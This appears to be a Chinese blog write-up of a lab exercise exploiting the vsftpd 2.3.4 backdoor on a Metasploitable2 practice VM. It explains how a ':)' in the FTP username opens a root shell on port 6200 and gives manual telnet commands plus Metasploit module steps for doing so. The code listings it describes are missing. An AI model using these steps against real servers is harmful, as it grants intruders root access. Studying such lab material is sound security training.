admin 管理员组

文章数量: 1086019

vsftpd

vsftpd漏洞利用

sybg写着不合心意,在这里记录下(划掉)
分为三部分:
1. vsftp服务
2 .漏洞代码
3.漏洞利用的两种方式

vsftp服务

(Metasploitable2使用指南)
Metasploitable2在21端口上运行着vsftpd服务,一个使用广泛的FTP服务。这个特别的版本包含一个后门允许一个未知的入侵者进入核心代码。这个后门很快就被确认并且移除。但是移除之前已经被少数人下载下来如果在发送的用户名后面加上” ?“(笑脸符号),这个版本的后门会在6200端口上打开一个监听的壳。我们可以通过远程登录确认或者通过Metasploit的上面的攻击模块自动攻击。

VSFTPD v2.3.4 漏洞代码

(来自即刻安全)
我们来查看下 VSFTPD v2.3.4 这个存在漏洞版本的代码,问题出在哪。这里令人惊讶的是,该源代码没有做任何混淆加密,我们很容易就能读懂和知道它的工作原理。我在?Pastebin 复制了这段验证漏洞的代码,在这个链接可以复制: 。下面的代码验证了用户名上的用户输入:

可以看到第 37 和 第 38 行在检查用户输入时,后面分别跟了 0x3a 和 0x29 这两个十六进制数,而它们则分别表示 :和 ) 。当用户名包含了这两个字符,那么接下来就会执行 vsf_sysutil_extra 这个函数。让我们看看该函数所执行的内容:

在代码的第 79 行 “struct sockaddr_in sa”,可以看出这里构造了一个名为 sa 的网络地址。The structure is defined by the which is set to the constant AF_INET, sin_port (6200) and the client address set to any on line 83, 84 and 85.对该构造则分别在第 83,84,85行,定义了常量 sin_family 值为 AF_INET, sin_port (6200) 及 客户端地址为任意地址。按照使用的代码结构来设置绑定 socket和 socket 用于传入连接的侦听进程。由于该段代码运行于服务器端,因此服务器设置了,可被攻击者远程连接的 socket 和侦听。代码的第 94 行提供了一个 shell 让任何人,都可以连接到该服务的 6200 端口上。

漏洞利用的两种方式

1. 手动利用

现在我将用手动的方式,来利用 Metasploitable 2 VSFTPD 这个漏洞程序。我将使用一个“笑脸”,来进行用户名的验证。这里假设你的 Metasploitable 2 虚拟机安装和运行了该服务。我们使用如下命令:

telnet [Metasploitable IP] 21

接着我们再输入以下命令:

USER user:)

PASS pass

当成功执行以上命令后,我们打开 nmap 扫描端口 6200 ,我们可以看到那段恶意代码已经被成功执行,并且 6200 端口也已被成功开启侦听。

我们通过以下命令来连接 6200 端口:

telnet [Metasploitable IP] 6200

当我们使用 id 命令后,从返回信息我们可以得知,当前我们已经取得了 root 的权限。

2. 使用 Metasploit工具

打开靶机(登陆用户名:msfadmin 密码:msfadmin),查看靶机的IP地址。命令:ifconfig

渗透机Kali Linux(登陆用户名:root 密码:*******)查看其IP地址。
命令:ifconfig

运行Metasploit下的msfconsole.
Msfconsole的好处:
(1)这是唯一办法访问大多数支持在Metasploit特点。
(2)console-based界面提供了一个框架。
(3)含有最具特点的和最稳定的无国界的界面。
(4)充分readline支持tabbing以及命令完成。
(5)在msfconsole外部命令的执行是可能的。

搜索vsftpd漏洞利用插件。
命令:search vsftpd

加载vsftpd漏洞利用的插件。
命令:use exploit/unix/ftp/vsftpd_234_backdoor

查看需要设置的参数。
命令:show options
根据Show option查看该模块的配置选项;可以看到只需设置目标主机的IP及端口号即可,默认为21端口

设置靶机IP地址,命令:set rhost 靶机IP
执行溢出

查看靶机内核与当前登录用户

查看下植入shell的运行服务权限,当我们所利用的VSFTPD v2.3.4 服务,是以 root 权限运行的,那么我们也将会是 root 的权限。

本文标签: vsftpd